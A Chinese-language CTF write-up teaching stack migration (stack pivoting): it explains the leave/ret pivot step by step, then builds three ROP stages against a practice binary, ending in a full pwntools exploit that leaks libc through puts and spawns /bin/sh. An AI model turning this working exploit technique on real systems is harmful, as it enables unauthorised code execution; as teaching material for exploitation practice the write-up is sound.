Stack Migration（栈迁移）

Stack Migration（栈迁移）

原理

1.通过overflow覆盖prev ebp的值，让程序在执行完当前函数后执行leave(mov esp,ebp ; pop ebp)恢复栈帧时，获取到错误的prev ebp从而让ebp跳转到指定的位置。

2.此时esp执行到我们之前写入的gets函数，gets取buf1处的地址作为参数(buf1的地址也就是我们之前劫持ebp跳转到的地址)，此时通过写入shellcode构造第二段rop填入buf1

3.此时程序执行完gets函数后执行leave指令，(mov esp,ebp)将esp移动到此前的ebp的位置，(pop ebp)此时ebp读取buf1中末尾的buf2处存放的地址，跳转到第二处buf空间，也就是buf2的位置

4.这时程序执行完puts函数，puts函数通过读取之前写入的任意函数的GOT表地址，打印出任意函数的GOT表地址，泄露出动态地址

5.程序执行完上一步的pop指令清空栈上的用过的任意函数的GOT表地址(防止程序seg falt)，执行gets函数以buf2中存放的地址作为参数，获取输入的内容，存放到buf2中，构建第三段rop

6.程序此时执行完leave指令，(mov esp ,ebp)将esp搬到ebp的位置，(pop ebp)将buf2中存放的buf1的地址赋给ebp

7.此时buf2中的rop中填充了system的动态地址（根据前面的任意函数泄露出来的动态地址-任意函数的静态地址+system函数的静态地址计算所得），并且还写入了/bin/sh字符串，从而执行了get shell的操作

特殊情况

通过add指令，让esp跳转到我们可控的部分

例题-migration

分析

只有NX和RELRO开启

程序无后门函数

read()函数读取了0x40大小的字节，也就是64字节大小，但是buf空间只有24个字节大小，栈溢出

但是也因为read只读取了64字节大小，导致无法构造完整的rop链，所以只能栈迁移

第一段rop

先测定pading大小，正常应该44字节，一直覆盖到return address地址，但是因为需要篡改prev addr所以只覆盖44字节，接下来寻找可以写入的空间

根据上面两图可知，可写区段是data段，所以采用data段后半截作为buf的地址

接下来就是寻找gets_plt和leave_ret的地址

使用ropgadget可以知道

0x08048418 : leave ; ret

使用elfsymbol可以查看函数plt

发现没有gets函数，只有read函数，那就用read函数

read函数三个参数

int fd
void *buf
size_t count

所以需要在栈中布置上面的三个参数

from pwn import *
p = process('./migration')

buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

p.interactive()

可以发现程序正在接收输入，表示成功

第二段rop

目标是在buf1中构建如下的布局

buf2采用buf1+0x100的方式

puts_plt

gdb-peda$ elfsymbol 
Found 6 symbols
read@plt = 0x8048380
_exit@plt = 0x8048388
puts@plt = 0x8048390
__gmon_start__@plt = 0x8048398
__libc_start_main@plt = 0x80483a0
setvbuf@plt = 0x80483a8

pop_ret

使用ROPgadget

0x0804836d : pop ebx ; ret

puts_got

read_plt，leave_ret已经有了

构造接下来的rop

#rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

此时打印出来了puts函数的动态地址

第三段rop

首先接收一下上一步打印出来的puts函数的动态地址

puts_dy = u32(p.recvuntil('\n',drop = True))

由于rop链在执行完system后就结束了，所以也不需要再用pop ret了，直接0xdeadbeef就行了

system动态地址

gdb-peda$ off puts
puts:0x67d90
gdb-peda$ off system
system:0x3d3d0

所以system函数动态地址等于puts动态地址-puts静态地址+system静态地址

/bin/sh直接写入就行

/bin/sh地址为buf2+16

第三段的exp为

#rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16
rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()

完整exp

from pwn import *
p = process('./migration')

###rop1
buf1 = 0x804ae00
read_plt = 0x8048380
leave_ret = 0x08048418

rop = flat([buf1,read_plt,leave_ret,0,buf1,100])
payload = cyclic(40) + rop
p.sendafter('\n',payload)

###rop2
buf2 = buf1 + 0x100
puts_plt = 0x8048390
pop_ebx_ret = 0x0804836d
puts_got = 0x08049ff0

rop2 = flat([buf2,puts_plt,pop_ebx_ret,puts_got,read_plt,leave_ret,0,buf2,100])
p.send(rop2)

###rop3
puts_sym = 0x67d90
puts_dy = u32(p.recvuntil('\n',drop = True))
libc_base = puts_dy - puts_sym
system = libc_base + 0x3d3d0
sh = buf2 + 16

rop3 = flat([buf1,system,0xdeadbeef,sh,"/bin/sh\x00"])
p.send(rop3)
p.interactive()